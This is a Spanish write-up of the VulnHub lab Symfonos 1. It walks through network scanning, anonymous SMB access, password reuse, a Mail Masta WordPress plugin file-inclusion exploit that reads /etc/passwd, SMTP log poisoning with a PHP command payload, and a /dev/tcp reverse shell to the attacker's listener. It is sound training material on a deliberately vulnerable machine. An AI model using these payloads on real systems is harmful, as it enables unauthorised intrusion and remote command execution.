# Symfonos 1

#### Sobre esta maquina: VulnHub&#x20;

Sistema Operativo: Linux

**Skills Usados**:&#x20;



* &#x20;SMB Enumeration
* &#x20;Information Leakage, WordPress Enumeratio
* &#x20;Abusing WordPress Plugin - Mail Masta 1.0



Metodologia:



En este caso, desconocemos la IP de la máquina. Lo primero que vamos a hacer es recoger los host visibles desde mi equipo cacheados en la tabla ARP. Una alternativa sería utilizar **ArpScan**.

```js
cat /proc/net/arp
# IP address       HW type     Flags       HW address            Mask     Device
# 192.168.1.140    0x1         0x2         08:00:27:5a:60:b1     *        enp0s3
# 192.168.1.137    0x1         0x0         00:00:00:00:00:00     *        enp0s3

```

La IP 192.168.1.140 es nuestro objetivo ahora.

Con un ping, obtenemos el TTL para saber si se refiere a una máquina Linux o una Windows.

```js
ping -c 1 192.168.1.140 -R
# PING 192.168.1.140 (192.168.1.140) 56(124) bytes of data.
# 64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=0.420 ms
# RR: 	192.168.1.138
# 	    192.168.1.140
# 	    192.168.1.140
#	    192.168.1.138

```

⚠️TTL\~64 - Linux

### Reconocimiento <a href="#reconocimiento" id="reconocimiento"></a>

Mediante **nmap** escaneamos los puertos abiertos.

```js
nmap -p- -sS -vvv --open -n -Pn --min-rate 5000 192.168.1.140 -oG allPorts
# Open ports: 22,25,80,139,445
```

Afinamos la búsqueda una vez conocidos los puertos abiertos.

```js
nmap -p22,25,80,139,445 -sCV 192.168.1.140 -oN targeted
```

Y vemos el archivo targeted para mirar un poco el resultado.

```js
# Nmap 7.92 scan initiated Sat Jan 14 11:57:45 2023 as: nmap -p22,25,80,139,445 -sCV -oN targeted 192.168.1.140
Nmap scan report for symfonos.local (192.168.1.140)
Host is up (0.00047s latency).
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
...
25/tcp  open  smtp        Postfix smtpd
...
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
...
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:5A:60:B1 (Oracle VirtualBox virtual NIC)
...
```

He omitido el output para quedarme con lo interesante. Servicios de **ssh**, **smtp**, **http** y **smb** expuestos.

Mediante **smbmap**, intentamos obtener acceso a los recursos compartidos a ver si está todo bien configurado.

```js
smbmap -H 192.168.1.140
# [+] Guest session   	IP: 192.168.1.140:445	Name: symfonos.local                                    
#         Disk                                           	Permissions	Comment
#         ----                                             	-----------	-------
# 		print$                                            	NO ACCESS	Printer Drivers
# 		helios                                            	NO ACCESS	Helios personal share
#    	anonymous                                         	READ ONLY	
#     	IPC$                                              	NO ACCESS	IPC Service
smbmap -H 192.168.1.140 -r anonymous
# [+] Guest session   	IP: 192.168.1.140:445	Name: symfonos.local                                    
#	anonymous                                         	READ ONLY	
#	.\anonymous\*
#	dr--r--r--                0 Sat Jun 29 03:14:49 2019	.
#	dr--r--r--                0 Sat Jun 29 03:12:15 2019	..
#	fr--r--r--              154 Sat Jun 29 03:14:49 2019	attention.txt
smbmap -H 192.168.1.140 --download anonymous/attention.txt
# [+] Starting download: anonymous\attention.txt (154 bytes)
# [+] File output to: /home/iocio/Desktop/VulnHub/Symfonos1/content/192.168.1.140-anonymous_attention.txt
```

Si cateamos el archivo de texto obtenemos lo siguiente.

```js
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

-Zeus
```

Cosas interesantes hasta aquí, de atrás adelante.

* Las contraseñas 'epidioko', 'qwerty' y 'baseball' son contraseñas que debería tener en cuenta para continuar con el reto.
* Por otro lado, hay un recurso compartido llamado 'helios' - 'Helios personal', que me puede hacer pensar que hay un usuario llamado helios.\
  Vamos a intentar loguearnos a **smb** con el usuario 'helios' y cualquiera de esas 3 contraseñas.

```js
smbmap -H 192.168.1.140 -u helios -p qwerty
# [+] IP: 192.168.1.140:445	Name: symfonos.local                                    
#        Disk                                                  	Permissions	Comment
#     	----                                                  	-----------	-------
#   	print$                                            	READ ONLY	Printer Drivers
#   	helios                                            	READ ONLY	Helios personal #   	anonymous                                         	READ ONLY	
#   	IPC$                                              	NO ACCESS	IPC Service
```

Tirando del hilo como anteriormente, he encontrado dos archivos. Un research.txt y un todo.txt.\
El texto de todo.txt es el siguiente.

```js
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
```

El tercer punto parece un directorio o una ruta. Si accedo por Firefox a la web expuesta y pongo esa ruta, vemos un servidor Wordpress. Coloco la siguiente entrada en `/etc/hosts` para que los archivos estáticos se descarguen correctamente y poderlo visualizar correctamente.

```js
192.168.1.140    symfonos.local
```

![](https://blog.ikerocio.com/_next/image?url=%2Fstatic%2Fimages%2Fuploads%2Fsymfonos-1-y-2-write-up%2FHelios-Wordpress.webp\&w=1920\&q=75)

A partir de aquí podríamos utilizar **WpScan**, pero vamos a intentar enumerar posibles plugins que pueda tener instalados y buscar vulnerabilidades en ellos.

Con la salida de curl, concatenando varios greps y algunos delimitadores, obtenemos la siguiente entrada:

```js
curl -X get 192.168.1.140/h3l105/ | grep 'wp-content' | grep -oP "'.*?'" | grep symfonos.local | cut -d '/' -f 1-7 | sort -u | grep plugins
# 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
# 'http://symfonos.local/h3l105/wp-content/plugins/site-editor
```

Hay un plugin de mails y otro bastante común para la edición del sitio. Recordamos que la máquina tiene expuesto el puerto de 25 SMTP. Vamos a ir por ese camino.

Buscamos vulnerabilidades en **searchsploit**.

```js
searchsploit mail masta
# WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)                                                                                                  | php/webapps/50226.py
```

El plugin Mail Masta tiene una vulnerabilidad de tipo LFI.\
Mirando el script, vemos que la vulnerabilidad se encuentra en una URL. Vamos a probarlo manualmente con curl.

```js
curl -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bash 
```

Podemos desarrollar un script para hacer más sencillas las consultas como \[\[lfi\_read\_file.sh]]

Un directorio interesante continuando con el tema de **smtp**, es `/var/mail/`.

Con ayuda del script, vemos dicho archivo.

```js
./lfi_read_file.sh -f /var/mail/helios
```

### Log Poisoning de SMTP <a href="#log-poisoning-de-smtp" id="log-poisoning-de-smtp"></a>

El directorio _/var/mail/helios_ está expuesto. Si fuésemos capaces de enviar un mail y colar código PHP en él, podríamos mediante el **LFI** transformarlo en un **RCE** fácilmente.

Vamos a conectarnos por telnet al puerto del mail y tratar de enviar algo.

```js
telnet 192.168.1.140 25
# Connected to 192.168.1.140.
# Escape character is '^]'.
# 220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: 0x10
# 250 2.1.0 Ok
RCPT TO: helios
# 250 2.1.5 Ok
DATA
# 354 End data with .
php system($\_GET['cmd']) ?
.
# 250 2.0.0 Ok: queued as 9ACCB4083E
quit
```

De este modo, vamos a entablarnos una reverse shell.

```js
# attacker
sudo nc -lvnp 443
listening on [any] 443 ...
```

```js
# vulnerable machine
curl -vs -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=%2Fbin%2Fbash+-c+%22sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.138%2F443+0%3E%261%22"
```

```js
# attacker
# sudo nc -lvnp 443
# listening on [any] 443 ...
connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54028
sh: 0: can't access tty; job control turned off
$ whoami
helios
```

Ya con Symfonos 1 comprometido verificaremos si tiene una red interna y de alli intentaremos hacer un pivoting hacia Symfonos 2/
